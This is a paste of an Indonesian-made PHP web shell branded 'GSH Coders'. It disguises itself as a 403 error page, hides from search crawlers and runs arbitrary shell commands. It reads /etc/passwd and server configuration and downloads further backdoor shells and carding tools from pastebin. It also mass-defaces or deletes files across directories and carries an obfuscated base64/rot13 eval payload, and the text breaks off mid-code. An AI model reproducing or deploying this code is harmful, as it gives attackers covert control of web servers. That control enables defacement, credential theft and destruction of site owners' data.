· 9 years ago · Apr 22, 2017, 10:10 PM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "6988458604002080d97c9b63e391d2fd"; // default: anazvr
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25
26function login_shell() {
27?><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
28<?php
29$errorforbidden = $_SERVER['REQUEST_URI'];
30?>
31<html><head>
32<title>403 Forbidden</title>
33</head><body>
34<h1>Forbidden</h1>
35<p>You don't have permission to access <? print $errorforbidden; ?>
36 on this server.</p>
37<p>Additionally, a 404 Not Found
38error was encountered while trying to use an ErrorDocument to handle the request.</p>
39</body></html>
40
41<form name="vsss" id="vsss" method="post" enctype='multipart/form-data'>
42<center><div style="display: none;">
43Passwordnya bang :V<br>
44<form method="post">
45<input type="password" name="pass">
46</form></div></center>
47<?php
48exit;
49}
50if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
51 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
52 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
53 else
54 login_shell();
55if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
56 @ob_clean();
57 $file = $_GET['file'];
58 header('Content-Description: File Transfer');
59 header('Content-Type: application/octet-stream');
60 header('Content-Disposition: attachment; filename="'.basename($file).'"');
61 header('Expires: 0');
62 header('Cache-Control: must-revalidate');
63 header('Pragma: public');
64 header('Content-Length: ' . filesize($file));
65 readfile($file);
66 exit;
67}
68?>
69<html>
70<head>
71<title>GSH Coders</title>
72<meta name='author' content='Garuda Security Hacker'>
73<meta charset="UTF-8">
74<style type='text/css'>
75@import url(https://fonts.googleapis.com/css?family=Ubuntu);
76
77
78
79html {
80 background: #000000;
81 color: cyan;
82 font-family: 'Ubuntu';
83 font-size: 13px;
84 width: 100%;
85}
86 h2 {
87 -webkit-animation-name: blinker;
88 -webkit-animation-duration: 3s;
89 -webkit-animation-timing-function: linear;
90 -webkit-animation-iteration-count: infinite;
91
92 -moz-animation-name: blinker;
93 -moz-animation-duration: 2s;
94 -moz-animation-timing-function: linear;
95 -moz-animation-iteration-count: infinite;
96
97 animation-name: blinker;
98 animation-duration: 1s;
99 animation-timing-function: linear;
100 animation-iteration-count: infinite;
101 }
102
103 @-moz-keyframes blinker {
104 0% { opacity: 1.0; }
105 50% { opacity: 0.0; }
106 100% { opacity: 1.0; }
107 }
108
109 @-webkit-keyframes blinker {
110 0% { opacity: 1.0; }
111 50% { opacity: 0.0; }
112 100% { opacity: 1.0; }
113 }
114
115 @keyframes blinker {
116 0% { opacity: 1.0; }
117 50% { opacity: 0.0; }
118 100% { opacity: 1.0; }
119 }
120li {
121 display: inline;
122 margin: 5px;
123 padding: 5px;
124 color: blue;
125}
126table, th {
127 border-collapse:collapse;
128 font-family: Tahoma, Geneva, sans-serif;
129 background: transparent;
130 font-family: 'Ubuntu';
131 font-size: 13px;
132}
133 td,hr,gr,.kampret{
134 border-style:solid;
135 border-color:blue ;}
136.table_home, .th_home, .td_home {
137 border: 1px solid blue;
138}
139th {
140 padding: 10px;
141 border: 1px solid blue;
142}
143a {
144 color: #ffffff;
145 text-decoration: none;
146}
147a:hover {
148 color: gold;
149 text-decoration: underline;
150}
151b {
152 color: gold;
153}
154
155hr {
156 border: 1px solid blue;
157}
158
159
160input[type=text], input[type=password],input[type=submit] {
161 background: transparent;
162 color: #ffffff;
163 border: 1px solid #ffffff;
164 margin: 5px auto;
165 padding-left: 5px;
166 font-family: 'Ubuntu';
167 font-size: 13px;
168}
169textarea {
170 border: 1px solid #ffffff;
171 width: 100%;
172 height: 400px;
173 padding-left: 5px;
174 margin: 10px auto;
175 resize: none;
176 background: transparent;
177 color: #ffffff;
178 font-family: 'Ubuntu';
179 font-size: 13px;
180}
181select {
182 width: 152px;
183 background: #000000;
184 color: white;
185 border: 1px solid #ffffff;
186 margin: 5px auto;
187 padding-left: 5px;
188 font-family: 'Ubuntu';
189 font-size: 13px;
190}
191option:hover {
192 background: blue;
193 color: #000000;
194
195}
196#menu{
197 background:url(/welcome.jpg);
198 margin:8px 2px 4px 2px;
199}
200#menu a{
201 padding:4px 18px;
202 border: 1px solid blue;
203 margin:0;
204 background:black;
205 text-decoration:none;
206 letter-spacing:1px;
207 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
208
209}
210#menu a:hover{
211 background:#191919;
212 border-bottom:1px solid cyan;
213 border-top:1px solid cyan;
214}
215
216</style>
217</head>
218<center>
219<?php
220if (file_exists("php.ini")){
221}else{
222$img = fopen('php.ini', 'w');
223$sec = "safe_mode = OFF
224disable_funtions = NONE";
225fwrite($img ,$sec);
226fclose($img);}
227function w($dir,$perm) {
228 if(!is_writable($dir)) {
229 return "<font color=red>".$perm."</font>";
230 } else {
231 return "<font color=lime>".$perm."</font>";
232 }
233}
234function exe($cmd) {
235if(function_exists('system')) {
236 @ob_start();
237 @system($cmd);
238 $buff = @ob_get_contents();
239 @ob_end_clean();
240 return $buff;
241 } elseif(function_exists('exec')) {
242 @exec($cmd,$results);
243 $buff = "";
244 foreach($results as $result) {
245 $buff .= $result;
246 } return $buff;
247 } elseif(function_exists('passthru')) {
248 @ob_start();
249 @passthru($cmd);
250 $buff = @ob_get_contents();
251 @ob_end_clean();
252 return $buff;
253 } elseif(function_exists('shell_exec')) {
254 $buff = @shell_exec($cmd);
255 return $buff;
256 }
257}
258function perms($file){
259$perms = fileperms($file);
260if (($perms & 0xC000) == 0xC000) {
261$info = 's';
262} elseif (($perms & 0xA000) == 0xA000) {
263$info = 'l';
264} elseif (($perms & 0x8000) == 0x8000) {
265$info = '-';
266} elseif (($perms & 0x6000) == 0x6000) {
267$info = 'b';
268} elseif (($perms & 0x4000) == 0x4000) {
269$info = 'd';
270} elseif (($perms & 0x2000) == 0x2000) {
271$info = 'c';
272} elseif (($perms & 0x1000) == 0x1000) {
273$info = 'p';
274} else {
275$info = 'u';
276}
277$info .= (($perms & 0x0100) ? 'r' : '-');
278$info .= (($perms & 0x0080) ? 'w' : '-');
279$info .= (($perms & 0x0040) ?
280(($perms & 0x0800) ? 's' : 'x' ) :
281(($perms & 0x0800) ? 'S' : '-'));
282$info .= (($perms & 0x0020) ? 'r' : '-');
283$info .= (($perms & 0x0010) ? 'w' : '-');
284$info .= (($perms & 0x0008) ?
285(($perms & 0x0400) ? 's' : 'x' ) :
286(($perms & 0x0400) ? 'S' : '-'));
287$info .= (($perms & 0x0004) ? 'r' : '-');
288$info .= (($perms & 0x0002) ? 'w' : '-');
289$info .= (($perms & 0x0001) ?
290(($perms & 0x0200) ? 't' : 'x' ) :
291(($perms & 0x0200) ? 'T' : '-'));
292return $info;
293}
294function hdd($s) {
295if($s >= 1073741824)
296return sprintf('%1.2f',$s / 1073741824 ).' GB';
297elseif($s >= 1048576)
298return sprintf('%1.2f',$s / 1048576 ) .' MB';
299elseif($s >= 1024)
300return sprintf('%1.2f',$s / 1024 ) .' KB';
301else
302return $s .' B';
303}
304function ambilKata($param, $kata1, $kata2){
305 if(strpos($param, $kata1) === FALSE) return FALSE;
306 if(strpos($param, $kata2) === FALSE) return FALSE;
307 $start = strpos($param, $kata1) + strlen($kata1);
308 $end = strpos($param, $kata2, $start);
309 $return = substr($param, $start, $end - $start);
310 return $return;
311}
312if(get_magic_quotes_gpc()) {
313 function idx_ss($array) {
314 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
315 }
316 $_POST = idx_ss($_POST);
317}
318function CreateTools($names,$lokasi){
319 if ( $_GET['create'] == $names ){
320 $a= "".$_SERVER['SERVER_NAME']."";
321$b= dirname($_SERVER['PHP_SELF']);
322$c = "/cox_tools/".$names.".php";
323if (file_exists('cox_tools/'.$names.'.php')){
324 echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
325 }
326 else {mkdir("cox_tools", 0777);
327file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
328echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
329
330CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
331CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
332CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
333CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
334CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
335CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
336CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
337CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
338CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
339CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
340CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
341CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
342CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
343CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
344CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
345if(isset($_GET['dir'])) {
346 $dir = $_GET['dir'];
347 chdir($_GET['dir']);
348} else {
349 $dir = getcwd();
350}
351$dir = str_replace("\\","/",$dir);
352$scdir = explode("/", $dir);
353$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
354$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
355$ds = @ini_get("disable_functions");
356$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
357$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
358$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
359$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
360$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
361$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
362if(!function_exists('posix_getegid')) {
363 $user = @get_current_user();
364 $uid = @getmyuid();
365 $gid = @getmygid();
366 $group = "?";
367} else {
368 $uid = @posix_getpwuid(posix_geteuid());
369 $gid = @posix_getgrgid(posix_getegid());
370 $user = $uid['name'];
371 $uid = $uid['uid'];
372 $group = $gid['name'];
373 $gid = $gid['gid'];
374}
375$d0mains = @file("/etc/named.conf");
376 $users=@file('/etc/passwd');
377 if($d0mains)
378 {
379 $count;
380 foreach($d0mains as $d0main)
381 {
382 if(@ereg("zone",$d0main))
383 {
384 preg_match_all('#zone "(.*)"#', $d0main, $domains);
385 flush();
386 if(strlen(trim($domains[1][0])) > 2)
387 {
388 flush();
389 $count++;
390 }
391 }
392 }
393 }
394
395$sport=$_SERVER['SERVER_PORT'];
396echo "<hr>";
397echo "<table width=100% border=0 >";
398echo "<tr><td align=left>";
399echo "System: <font color=lime>".php_uname()."</font><br>";
400echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
401echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
402echo "HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font><br>";
403echo "Websites :<font color=lime> $count </font> Domains<br>";
404echo "Port :<font color=lime> $sport</font> <br>";
405echo "Safe Mode: $sm<br>";
406echo "Disable Functions: $show_ds<br>";
407echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
408echo "Current DIR: ";
409foreach($scdir as $c_dir => $cdir) {
410 echo "<a href='?dir=";
411 for($i = 0; $i <= $c_dir; $i++) {
412 echo $scdir[$i];
413 if($i != $c_dir) {
414 echo "/";
415 }
416 }
417 echo "'>$cdir</a>/";
418}
419echo "[ ".w($dir,"Writeable")." ]</td><br />";
420echo " <br />
421<td align=center>
422 <center><h2 style=margin:0; color;white; font-size:100px; line-height:150px; font-weight:bold;>SHELL RECODE BY ANAZVR</h1>
423</td>";
424echo "</tr></table>";
425echo "<br>";
426
427
428echo "<center>";
429echo "<div class=kampret>";
430echo "<ul>";
431echo "<div id=menu>";
432echo "[ <a href='?'>Home</a> ]</li>";
433echo "[ <a href='?dir=$dir&do=upload'>Upload</a> ]";
434echo "[ <a href='?dir=$dir&do=cmd'>Command</a> ]";
435echo "[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]";
436echo "[ <a href='?dir=$dir&do=config'>Config</a> ]";
437echo "[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]";
438echo "[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br><br>";
439echo "[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]";
440echo "[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]";
441echo "[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]";
442echo "[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]<br><br>";
443echo "[ <a href='?dir=$dir&do=sql'>MySQL Manager</a> ]";
444echo "[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]";
445echo "[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]";
446echo "[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]";
447echo "[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]";
448echo "[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br><br> ";
449echo "[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]";
450echo "[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]";
451echo "[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]";
452echo "[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]";
453echo "[ <a href='?dir=$dir&do=about'>About</a> ]";
454echo "[ <a href='?dir=$dir&do=metu'>LogOut</a><br> ]";
455echo "</div>";
456echo "</ul>";
457echo "</div>";
458echo "</center>";
459echo "<br>";
460
461if($_GET['do'] == 'upload') {
462 echo "<center>";
463 if($_POST['upload']) {
464 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
465 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
466 } else {
467 $act = "<font color=red>failed to upload file</font>";
468 }
469 }
470 echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
471 echo $act;
472 echo "</center>";
473}
474 elseif($_GET['do'] == 'cmd') {
475 echo "<form method='post'>
476 <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
477 <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
478 </form>";
479 if($_POST['do_cmd']) {
480 echo "<pre>".exe($_POST['cmd'])."</pre>";
481 }
482} elseif($_GET['do'] == 'mass_deface') {
483 echo "<center><form action=\"\" method=\"post\">\n";
484 $dirr=$_POST['d_dir'];
485 $index = $_POST["script"];
486 $index = str_replace('"',"'",$index);
487 $index = stripslashes($index);
488 function edit_file($file,$index){
489 if (is_writable($file)) {
490 clear_fill($file,$index);
491 echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
492 }
493 else {
494 echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
495 }
496 }
497 function hapus_massal($dir,$namafile) {
498 if(is_writable($dir)) {
499 $dira = scandir($dir);
500 foreach($dira as $dirb) {
501 $dirc = "$dir/$dirb";
502 $lokasi = $dirc.'/'.$namafile;
503 if($dirb === '.') {
504 if(file_exists("$dir/$namafile")) {
505 unlink("$dir/$namafile");
506 }
507 } elseif($dirb === '..') {
508 if(file_exists("".dirname($dir)."/$namafile")) {
509 unlink("".dirname($dir)."/$namafile");
510 }
511 } else {
512 if(is_dir($dirc)) {
513 if(is_writable($dirc)) {
514 if(file_exists($lokasi)) {
515 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
516 unlink($lokasi);
517 $idx = hapus_massal($dirc,$namafile);
518 }
519 }
520 }
521 }
522 }
523 }
524 }
525 function clear_fill($file,$index){
526 if(file_exists($file)){
527 $handle = fopen($file,'w');
528 fwrite($handle,'');
529 fwrite($handle,$index);
530 fclose($handle); } }
531
532 function gass(){
533 global $dirr , $index ;
534 chdir($dirr);
535 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
536 $files = scandir($dirr) ;
537 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
538 sort($files);
539 $n = 0 ;
540 foreach ($files as $file){
541 if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
542 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
543 edit_file($file,$index);
544 flush();
545 $n = $n +1 ;
546 }
547 }
548 echo "<br>";
549 echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
550 }
551 function ListFiles($dirrall) {
552
553 if($dh = opendir($dirrall)) {
554
555 $files = Array();
556 $inner_files = Array();
557 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
558 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
559 while($file = readdir($dh)) {
560 if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
561 if(is_dir($dirrall . "/" . $file)) {
562 $inner_files = ListFiles($dirrall . "/" . $file);
563 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
564 } else {
565 array_push($files, $dirrall . "/" . $file);
566 }
567 }
568 }
569
570 closedir($dh);
571 return $files;
572 }
573 }
574 function gass_all(){
575 global $index ;
576 $dirrall=$_POST['d_dir'];
577 foreach (ListFiles($dirrall) as $key=>$file){
578 $file = str_replace('//',"/",$file);
579 echo "<center><strong>$file</strong> ===>";
580 edit_file($file,$index);
581 flush();
582 }
583 $key = $key+1;
584 echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
585 function sabun_massal($dir,$namafile,$isi_script) {
586 if(is_writable($dir)) {
587 $dira = scandir($dir);
588 foreach($dira as $dirb) {
589 $dirc = "$dir/$dirb";
590 $lokasi = $dirc.'/'.$namafile;
591 if($dirb === '.') {
592 file_put_contents($lokasi, $isi_script);
593 } elseif($dirb === '..') {
594 file_put_contents($lokasi, $isi_script);
595 } else {
596 if(is_dir($dirc)) {
597 if(is_writable($dirc)) {
598 echo "[<font color=lime>DONE</font>] $lokasi<br>";
599 file_put_contents($lokasi, $isi_script);
600 $idx = sabun_massal($dirc,$namafile,$isi_script);
601 }
602 }
603 }
604 }
605 }
606 }
607 if($_POST['mass'] == 'onedir') {
608 echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
609 $ini="http://";
610 $mainpath=$_POST[d_dir];
611 $file=$_POST[d_file];
612 $dir=opendir("$mainpath");
613 $code=base64_encode($_POST[script]);
614 $indx=base64_decode($code);
615 while($row=readdir($dir)){
616 $start=@fopen("$row/$file","w+");
617 $finish=@fwrite($start,$indx);
618 if ($finish){
619 echo"$ini$row/$file\n";
620 }
621 }
622 echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
623 $mainpath=$_POST[d_dir];$file=$_POST[d_file];
624 $dir=opendir("$mainpath");
625 $code=base64_encode($_POST[script]);
626 $indx=base64_decode($code);
627 while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
628 $finish=@fwrite($start,$indx);
629 if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
630 }
631
632 }
633 elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
634 elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
635 elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
636 elseif($_POST['mass'] == 'massdeface') {
637 echo "<div style='margin: 5px auto; padding: 5px'>";
638 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
639 echo "</div>"; }
640 else {
641 echo "
642 <center><font style='text-decoration: underline;'>
643 Select Type:<br>
644 </font>
645 <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
646 <option value=\"onedir\">Mass Deface 1 Dir</option>
647 <option value=\"massdeface\">Mass Deface ALL Dir</option>
648 <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
649 <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
650 <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
651 <font style='text-decoration: underline;'>Folder:</font><br>
652 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
653 <font style='text-decoration: underline;'>Filename:</font><br>
654 <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
655 <font style='text-decoration: underline;'>Index File:</font><br>
656 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Anazvr</textarea><br>
657 <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
658 </form></center>";
659 }
660 }
661elseif($_GET['do'] == 'zip') {
662 echo "<center><h1>Zip Menu</h1>";
663function rmdir_recursive($dir) {
664 foreach(scandir($dir) as $file) {
665 if ('.' === $file || '..' === $file) continue;
666 if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
667 else unlink("$dir/$file");
668 }
669 rmdir($dir);
670}
671if($_FILES["zip_file"]["name"]) {
672 $filename = $_FILES["zip_file"]["name"];
673 $source = $_FILES["zip_file"]["tmp_name"];
674 $type = $_FILES["zip_file"]["type"];
675 $name = explode(".", $filename);
676 $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
677 foreach($accepted_types as $mime_type) {
678 if($mime_type == $type) {
679 $okay = true;
680 break;
681 }
682 }
683 $continue = strtolower($name[1]) == 'zip' ? true : false;
684 if(!$continue) {
685 $message = "Itu Bukan Zip , , GOBLOK COK";
686 }
687 $path = dirname(__FILE__).'/';
688 $filenoext = basename ($filename, '.zip');
689 $filenoext = basename ($filenoext, '.ZIP');
690 $targetdir = $path . $filenoext;
691 $targetzip = $path . $filename;
692 if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
693 mkdir($targetdir, 0777);
694 if(move_uploaded_file($source, $targetzip)) {
695 $zip = new ZipArchive();
696 $x = $zip->open($targetzip);
697 if ($x === true) {
698 $zip->extractTo($targetdir);
699 $zip->close();
700
701 unlink($targetzip);
702 }
703 $message = "<b>Sukses Gan :)</b>";
704 } else {
705 $message = "<b>Error Gan :(</b>";
706 }
707}
708echo '<table style="width:100%" border="1">
709 <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
710<label>Zip File : <input type="file" name="zip_file" /></label>
711<input type="submit" name="submit" value="Upload And Unzip" />
712</form>';
713if($message) echo "<p>$message</p>";
714echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
715 if($_POST['backup']){
716 $save=$_POST['save'];
717 function Zip($source, $destination)
718{
719 if (extension_loaded('zip') === true)
720 {
721 if (file_exists($source) === true)
722 {
723 $zip = new ZipArchive();
724
725 if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
726 {
727 $source = realpath($source);
728
729 if (is_dir($source) === true)
730 {
731 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
732
733 foreach ($files as $file)
734 {
735 $file = realpath($file);
736
737 if (is_dir($file) === true)
738 {
739 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
740 }
741
742 else if (is_file($file) === true)
743 {
744 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
745 }
746 }
747 }
748
749 else if (is_file($source) === true)
750 {
751 $zip->addFromString(basename($source), file_get_contents($source));
752 }
753 }
754
755 return $zip->close();
756 }
757 }
758
759 return false;
760}
761 Zip($_POST['dir'],$save);
762 echo "Done , Save To <b>$save</b>";
763 }
764 echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
765 if($_POST['extrak']){
766 $save=$_POST['save'];
767 $zip = new ZipArchive;
768 $res = $zip->open($_POST['dir']);
769 if ($res === TRUE) {
770 $zip->extractTo($save);
771 $zip->close();
772 echo 'Succes , Location : <b>'.$save.'</b>';
773 } else {
774 echo 'Gagal Mas :( Ntahlah !';
775 }
776 }
777echo '</tr></table>';
778 }
779 elseif($_GET['do'] == 'shellchk') {
780 eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
781 } elseif($_GET['do'] == 'loghunter')
